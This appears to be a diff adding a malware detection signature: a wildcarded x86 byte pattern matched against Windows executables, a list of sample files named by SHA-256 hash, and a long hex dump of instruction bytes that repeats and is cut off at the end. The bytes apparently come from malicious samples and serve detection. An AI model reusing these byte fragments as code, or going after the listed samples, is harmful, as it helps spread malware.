?? 74 ?? 8? ?? ?? ?? ?? ?? 0F BE ?? 83 ?? ?? 74 ?? A1 ?? ?? ?? ?? 0F BE ?? 85 ?? 75 ?? 8? ?? ?? C6 ?? ?? EB ?? 8? ?? ?? 8? ?? ?? ?? ?? ?? 8? ?? 8? ?? 8? ?? ?? 83 ?? ?? 8? ?? ?? 8? ?? ?? ?? ?? ?? 83 ?? ?? 8? ?? ?? ?? ?? ?? EB ?? 8? ?? ?? ?? ?? ?? 0F BE ?? 83 ?? ?? 75 ?? 8? ?? ?? ?? ?? ?? 83 ?? ?? 8? ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 0F BE ?? 85 ?? 75 ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 33 ?? EB ?? B8 ?? ?? ?? ?? 5D C3 CC CC CC CC CC CC CC CC CC 5? 8? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? 5D C3 CC CC CC CC CC 5? 8? ?? 81 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 8? ?? ?? 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 6A ?? 6A ?? 8? ?? ?? 5? FF ?? ?? ?? ?? ?? 85 ?? 75 ?? 33 ?? E9 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 74 ?? 83 ?? ?? ?? ?? ?? ?? 74 ?? 33 ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? 33 ?? E9 ?? ?? ?? ?? 66 8B ?? ?? ?? ?? ?? 66 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? 8? ?? ?? ?? ?? ?? 0D ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 0F B7 ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? 33 ?? E9 ?? ?? ?? ?? 83 ?? ?? ?? 75 ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? EB ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 8? ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 8? ?? ?? ?? ?? ?? 5? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 33 ?? E9 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 6A ?? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 0D ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 6A ?? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? 74 ?? 8? ?? ?? 5? FF ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 5? 8? ?? ?? 5? 68 ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? 83 ?? ?? ?? 74 ?? 8? ?? ?? 5? 8? ?? ?? 83 ?? ?? 5? 8? ?? ?? 5? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 85 ?? 74 ?? 8? ?? ?? 83 ?? ?? 76 ?? 8? ?? ?? 8? ?? 8? ?? ?? C6 ?? ?? ?? EB ?? 8? ?? ?? C7 ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 8? ?? ?? 33 ?? E8 ?? ?? ?? ?? 8? ?? 5D C3 CC CC CC CC CC CC CC CC CC CC CC CC CC 5? 8? ?? 8? ?? ?? 5? 8? ?? ?? 5? 8? ?? ?? 5? 8? ?? ?? 5? 8? ?? ?? 5? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 5D C3 CC CC CC CC CC CC CC CC CC CC CC CC CC 5? 8? ?? 8? ?? ?? 5? 8? ?? ?? 5? 8? ?? ?? 5? 8? ?? ?? 5? 8? ?? ?? 5? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 5D C3 CC CC CC CC CC CC CC CC CC CC CC CC CC 5? 8? ?? 81 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 8? ?? ?? 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 6A ?? 6A ?? 8? ?? ?? 5? FF ?? ?? ?? ?? ?? 85 ?? 75 ?? 33 ?? E9 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 74 ?? 83 ?? ?? ?? ?? ?? ?? 74 ?? 33 ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? 33 ?? E9 ?? ?? ?? ?? BA ?? ?? ?? ?? 66 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? 66 89 ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 0F B7 ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? 33 ?? E9 ?? ?? ?? ?? 6A ?? 8? ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 33 ?? E9 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 6A ?? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 0D ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 6A ?? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? 83 ?? ?? ?? 74 ?? 8? ?? ?? C7 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 85 ?? 74 ?? 8D ?? ?? ?? ?? ?? 5? 8? ?? ?? 5? 8? ?? ?? 5? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? 83 ?? ?? ?? ?? ?? ?? 74 ?? 8? ?? ?? 03 ?? ?? ?? ?? ?? 8? ?? ?? 8? ?? ?? 2B ?? ?? ?? ?? ?? 8? ?? ?? 8? ?? ?? 8? ?? 03 ?? ?? ?? ?? ?? 8? ?? ?? 8? ?? EB ?? EB ?? EB ?? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 8? ?? ?? 33 ?? E8 ?? ?? ?? ?? 8? ?? 5D C3 CC CC 5? 8? ?? 81 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 8? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 74 ?? B9 ?? ?? ?? ?? 6B ?? ?? 8? ?? ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? 73 ?? EB ?? E8 ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 85 ?? 74 ?? 8? ?? ?? ?? ?? ?? EB ?? 33 ?? 8? ?? ?? 33 ?? E8 ?? ?? ?? ?? 8? ?? 5D C3 CC 5? 8? ?? 83 ?? ?? A1 ?? ?? ?? ?? 33 ?? 8? ?? ?? 0F 57 ?? 66 0F 13 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8? ?? ?? 8? ?? ?? 8? ?? ?? 8D ?? ?? 5? 8? ?? ?? 5? 6A ?? 6A ?? 6A ?? FF ?? ?? ?? ?? ?? 8? ?? ?? 83 ?? ?? ?? 75 ?? 83 ?? ?? ?? 74 ?? 6A ?? 6A ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8? ?? ?? 8? ?? ?? 5? 8? ?? ?? 83 ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8? ?? ?? 33 ?? ?? 8? ?? ?? 33 ?? ?? 8? ?? ?? 8? ?? ?? 8? ?? ?? 8? ?? ?? 8? ?? ?? EB ?? 8? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? E8 ?? ?? ?? ?? 33 ?? 8? ?? ?? 8? ?? ?? 8? ?? ?? 8? ?? ?? B1 ?? E8 ?? ?? ?? ?? 33 ?? ?? 33 ?? ?? 8? ?? ?? 33 ?? E8 ?? ?? ?? ?? 8? ?? 5D C3 CC CC CC CC CC CC CC CC 5? 8? ?? A1 ?? ?? ?? ?? 0B ?? ?? ?? ?? ?? 75 ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 5D C3 CC CC CC 5? 8? ?? 83 ?? ?? A1 ?? ?? ?? ?? 33 ?? 8? ?? ?? B8 ?? ?? ?? ?? 6B ?? ?? 0F BE ?? ?? ?? ?? ?? 85 ?? 74 ?? 68 ?? ?? ?? ?? 8? ?? ?? 5? FF ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? EB ?? 8D ?? ?? 5? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 75 ?? 68 ?? ?? ?? ?? 8? ?? ?? 5? FF ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? 8? ?? ?? 5? FF ?? ?? ?? ?? ?? 33 ?? 8? ?? ?? 33 ?? E8 ?? ?? ?? ?? 8? ?? 5D C3 CC CC CC 5? 8? ?? 81 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 8? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8? ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 75 ?? B8 ?? ?? ?? ?? 6B ?? ?? 0F BE ?? ?? ?? ?? ?? ?? 83 ?? ?? 75 ?? B8 ?? ?? ?? ?? C1 ?? ?? 0F BE ?? ?? ?? ?? ?? ?? 83 ?? ?? 75 ?? BA ?? ?? ?? ?? D1 ?? 0F BE ?? ?? ?? ?? ?? ?? 83 ?? ?? 75 ?? B9 ?? ?? ?? ?? 6B ?? ?? 0F BE ?? ?? ?? ?? ?? ?? 83 ?? ?? 75 ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 8? ?? ?? 33 ?? E8 ?? ?? ?? ?? 8? ?? 5D C3 CC 5? 8? ?? B8 ?? ?? ?? ?? 6B ?? ?? 8? ?? ?? 0F BE ?? ?? 83 ?? ?? 75 ?? B9 ?? ?? ?? ?? D1 ?? 8? ?? ?? 0F BE ?? ?? 83 ?? ?? 75 ?? B9 ?? ?? ?? ?? C1 ?? ?? 8? ?? ?? 0F BE ?? ?? 83 ?? ?? 74 ?? B9 ?? ?? ?? ?? C1 ?? ?? 8? ?? ?? 0F BE ?? ?? 83 ?? ?? 74 ?? B9 ?? ?? ?? ?? C1 ?? ?? 8? ?? ?? 0F BE ?? ?? 83 ?? ?? 74 ?? B9 ?? ?? ?? ?? C1 ?? ?? 8? ?? ?? 0F BE ?? ?? 83 ?? ?? 74 ?? B9 ?? ?? ?? ?? C1 ?? ?? 8? ?? ?? 0F BE ?? ?? 83 ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 5D C3 CC CC CC CC CC CC CC 5? 8? ?? B8 ?? ?? ?? ?? C1 ?? ?? 8? ?? ?? 0F BE ?? ?? 83 ?? ?? 75 ?? B8 ?? ?? ?? ?? 6B ?? ?? 8? ?? ?? 0F BE ?? ?? 83 ?? ?? 74 ?? B9 ?? ?? ?? ?? 6B ?? ?? 8? ?? ?? 0F BE ?? ?? 83 ?? ?? 74 ?? BA ?? ?? ?? ?? 6B ?? ?? 8? ?? ?? 0F BE ?? ?? 83 ?? ?? 74 ?? B8 ?? ?? ?? ?? 6B ?? ?? 8? ?? ?? 0F BE ?? ?? 83 ?? ?? 74 ?? B9 ?? ?? ?? ?? 6B ?? ?? 8? ?? ?? 0F BE ?? ?? 83 ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 5D C3 CC CC CC CC CC CC CC CC CC CC 5? 8? ?? 81 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 8? ?? ?? FF ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8? ?? ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? 0F B7 ?? 25 ?? ?? ?? ?? 0F B6 ?? 8? ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? 0F B7 ?? C1 ?? ?? 25 ?? ?? ?? ?? 0F B6 ?? 8? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? EB ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 5? 8? ?? ?? ?? ?? ?? 5? 8? ?? ?? ?? ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 5? 8? ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? A3 ?? ?? ?? ?? B9 ?? ?? ?? ?? 6B ?? ?? A1 ?? ?? ?? ?? C6 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 6B ?? ?? A1 ?? ?? ?? ?? 0F BE ?? ?? 85 ?? 75 ?? 8? ?? ?? ?? ?? ?? 5? (E8|FF) }
+
+        condition:
+            uint16be(0) == 0x4D5A and $byte_code
+}
+
+/*
+
+SAMPLES:
+
+0002218f5c47ef709e390288e4268a02bb9d9087a996bb55d3a9c23d68a46760_S1.exe
+006495c7fb7388f0513a24d9d09bf9517d5a3fd05c0da7d39311f6e6cf0f8fe3_S1.exe
+000f7832251ae4ba41c42c46d83cbf13d0b2aed0c1f949fbe68b728fdcb2fada_S1.exe
+000fa485eda66fd4b5acd3fee4e2cdf5bd8e82a4968d27c202fe4747dfb57d00_S1.exe
+001451cfe7d492163ebcdaa2a3da9eb849ab0bd509cd969dd75965c88c19d5d4_S1.exe
+001627a8adaf2ea97b19dd4f6b915abf57bd41b4fe7af33d5f9f381a97d04a3d_S1.exe
+001856ba5da54bdf6cb87c61254af2ca9f936e83402e43579177bd0f4ac1f120_S1.exe
+0022f6c5ec68cabb34eee693cb23cb72a1099719b93f552cb9a09a99a0086afc_S1.exe
+002763b63f07529dd29c7840fed0e1bc68c974364b3aa64f7b6b225ca191f87f_S1.exe
+002ccf946b928eb123790aa8a6a4e1574827f6d387c661003df6e095d1d9137b_S1.exe
+002d93a56d6da0d4cd39c1d1bb36ebfb8bb493b0a204882120fc305c1b840caa_S1.exe
+0031be555860fee238837c1004d2f0ec353487ce6f9d0715106bb5670d965862_S1.exe
+0033f126d294bdda76e68d8dc994189a5d82e728e9e2cbe273789107bd855e06_S1.exe
+0039b33d9b86b02a4df6a605018a9749693ea3d871b187d9d1e1e0ec58e63f26_S1.exe
+003e0e981f9ec2f4ff844161dc2aca600df38965b9dd586532ede80f6367e90b_S1.exe
+0042539fb052745f1568b089bf86e41d393b981cdfc7201f7d8bdde145714fe2_S1.exe
+0043d7cf12ad497de3cc4739a435f1765ec4c65e05e1f21faecfe40cc9d4fc35_S1.exe
+004fa50455bac533cfa150660a6148ed20eb19a1169aa48991367eabb7494f1e_S1.exe
+00509f0c3436a02e09a49226169d28979d0b4eb42375cf2dbb1733cc67333b73_S1.exe
+0056fc1baedc78d43638f509d4a2ff617567cdffe4e0aa6a9892d80b076b2e4d_S1.exe
+0058b39843b0c37520a28a4d239de2e934a811159fe6a310e63b9fcf85ac2cf7_S1.exe
+005b3491673d414c65c0b2c8c351b672dd41a1679c97ffd7e4e0a6b1d00580a9_S1.exe
+005dee83851ee0db47b705b4ac6857bc4649e59c47418208d62ce3cc0c1f9a02_S1.exe
+006446a6303d85b5427139c6bc08c0f12e361d49cd7fa1ccc3e431d2fdd56d8c_S1.exe
+0065a97402349fbbe5195effd6329ed89eb276ac3f728c7f8827d913d1296037_S1.exe
+006cc18d23ba7ec78ce5d3e78cde63157abd05b1e1908c93c35f99933637a6e7_S1.exe
+006cc87046164b41330918db95150f16227aa235865c4c95283b2d5fb9bd0d18_S1.exe
+008d53efab6e0be2f356ce86581414db9804d46170eea4b408b6f23690a35487_S1.exe
+009794dbe2aefed8ebd0d433c4b5c8931f6b3c1eaf0fbb34ad3fb247ae8dd0b5_S1.exe
+009b714c0a6731f2eadd04dab409172d34986526a298b7a1fe4f51152bf6773e_S1.exe
+00a1fb0d0a45ec998f65a458e55790e49944bb36b9398d7be495aa7ac7f27ac4_S1.exe
+00a24e6e5da9bea88f695e7b15621f418f683ce0b185ee67ba66e91bfe360e53_S1.exe
+00a90d131960bbad21a4f787f328d69b3af514f6e800cea606deb97aa0393e29_S1.exe
+00aae024d89ebdee5464f410fe588f31a1888f84eb68ee6dddb1ddf9b86012aa_S1.exe
+00ae14dc7815f74b083abc290d561d59fa8bc9717c22423fdec109bedc0de170_S1.exe
+00b088c257b7aab93e262445085337261a8b6d4369e9e48c6fe840c56971d8c2_S1.exe
+00b3c741c366252a8472046960b35636cf6c651a73d94d2810d14446dfae6db1_S1.exe
+00b46ed617c1d651dadd8b4abad8b644f30e49e0d12bc378dfb720f9b55b6277_S1.exe
+00b4f5d82ff5636d87821e2eb367c63bf83f478d4d4c480a3d9bc920bcd23f4a_S1.exe
+00b515429f4b16a501d7c97999eb884210dcf5b413b3896e11c03a926b31289f_S1.exe
+00bdb09cd6dfc308cc101aa009240ba612df781c62efb705f7b2ba9c198494d9_S1.exe
+00c4a1abded604c193671ac83935cf5e84bf272b5b574c26dfc814821d38155e_S1.exe
+00c7f1f0183fdb23eba1c5bfbe94518bbe22093bd8ae648c8c242229ca65c46a_S1.exe
+00c9f1276737f9ab4eb49c6c3a8c955cae7085fb7744ab0f0b90cc6b83eea377_S1.exe
+00d552f43b11e0017ff34576e2fbe5d47db4c5141ed0cc7cad1a6367a5161839_S1.exe
+
+BYTES:
+
+eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e60132c8f7d681e621010000880d029040008bce33c083f165740f6685d2740af6c20174058d5001eb0233d28b2d1090400033fabaac0000006603c266a314904000b0012ac3b22e0fb7cda20090400084d27415b865000000663b050c9040007507b801000000eb0233c0300502904000221d1490400083e601f7d681e6210100008bc633d283f065740f6685c9740af6c10174058d4201eb0233c033f8b9ac0000006603d166891514904000893d049040000fb7fdb2012ad3b02e897c241c88150090400